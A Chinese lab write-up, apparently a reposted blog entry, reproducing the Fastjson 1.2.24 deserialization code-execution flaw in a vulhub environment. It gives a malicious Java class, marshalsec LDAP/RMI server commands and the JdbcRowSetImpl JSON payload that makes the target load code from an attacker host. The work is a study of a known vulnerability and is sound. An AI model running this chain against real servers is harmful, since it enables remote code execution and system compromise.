安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)
Posted 小狐狸FM
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)相关的知识,希望对你有一定的参考价值。
文章目录
前言
环境的安装略过,环境安装的问题请自行百度
此文章仅学习记录,请勿用于非法用途
中括号内的内容为可变值,需要根据实际情况修改
vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞
一、环境
[1]. 目标机(Debian 5)
192.168.248.131
vulhub
docker
docker-compose
[2]. 攻击机(Windows 10)
192.168.248.1
python3
javac
jre 1.8
burpsuite
marshalsec
maven
二、漏洞复现
[1]. 编译marshalsec项目
进入项目的根目录,输入以下命令(需要将maven添加至环境变量)
如果没法编译的话,可以换一个jre版本(之前在本机的java1.8版本编译失败,但是虚拟机中java1.11版本编译成功了)
mvn clean package -DskipTests
出现了target,里面有JAR包就表示编译成功了
[2]. 开启环境
先开启docker
systemctl start docker
然后在
vulhub/fastjson/1.2.24-rce
文件夹内开启docker-compose
(第一次开启该环境会下载一些东西,之后开启就不需要再下载了)
docker-compose up -d
在攻击机访问一下
目标IP:8090
,有返回json字符串表示环境开启成功
burpsuite抓包后发送一个json格式的字符串,表示目标可接收json
[3]. 编译恶意class
创建如下的java文件,
touch fox
表示创建一个名为fox的空文件
需要目标执行什么命令就自己修改一下就行
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile
static
try
Runtime rt = Runtime.getRuntime();
String[] commands = "touch", "fox";
Process pc = rt.exec(commands);
pc.waitFor();
catch (Exception e)
// do nothing
使用
javac
将java文件编译成class文件
javac java文件名
[4]. Python开启HTTP服务
python2和python3开启http服务的方式不同,python2是使用如下语句
python -m SimpleHTTPServer [端口]
python3使用如下语句
python -m http.server [端口]
现在进入刚刚的class文件的路径下,并进入cmd界面开启HTTP服务(注意开启的端口不能被占用)
在浏览器访问一下该端口,能访问到恶意的class就行了
[5]. marshalsec开启LDAP或RMI服务
开启RMI服务的命令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
开启LDAP服务的命令如下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
- 进入之前编译好的JAR包所在路径,输入命令开启一个LDAP服务(RMI服务也可)
- 可以把LDAP或RMI当成是http,在目标执行了恶意的json语句之后可以访问到攻击机的class类并执行
- 井号#记得别忘记写
[6]. 发送恶意json语句
在burpsuite中post一个json给目标,json语句中的rmi和ldap需要小写
使用rmi还是ldap得和之前marshalsec开启的服务类型一样
"b":
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"[rmi或ldap]://192.168.248.1:[marshalsec项目开启的服务端口]/[恶意class文件名,不包括后缀]",
"autoCommit":true
发送成功后,之前开启的LDAP服务就收到了信息
同样python起的http也会收到信息
[7]. 检测漏洞利用情况
搜索一下已开启的镜像id,ID为
f14a3193f41f
docker ps
使用命令进入该镜像,查看一下根路径下的文件,发现已经成功创建了
fox
文件
docker exec -it [镜像的ID,不需要全输入] /bin/bash
三、修复
升级Fastjson至最新版本
以上是关于安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)的主要内容,如果未能解决你的问题,请参考以下文章
15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)
15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)
15-java安全——fastjson反序列化1.2.25 - 1.2.41版本绕过
14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利用链分析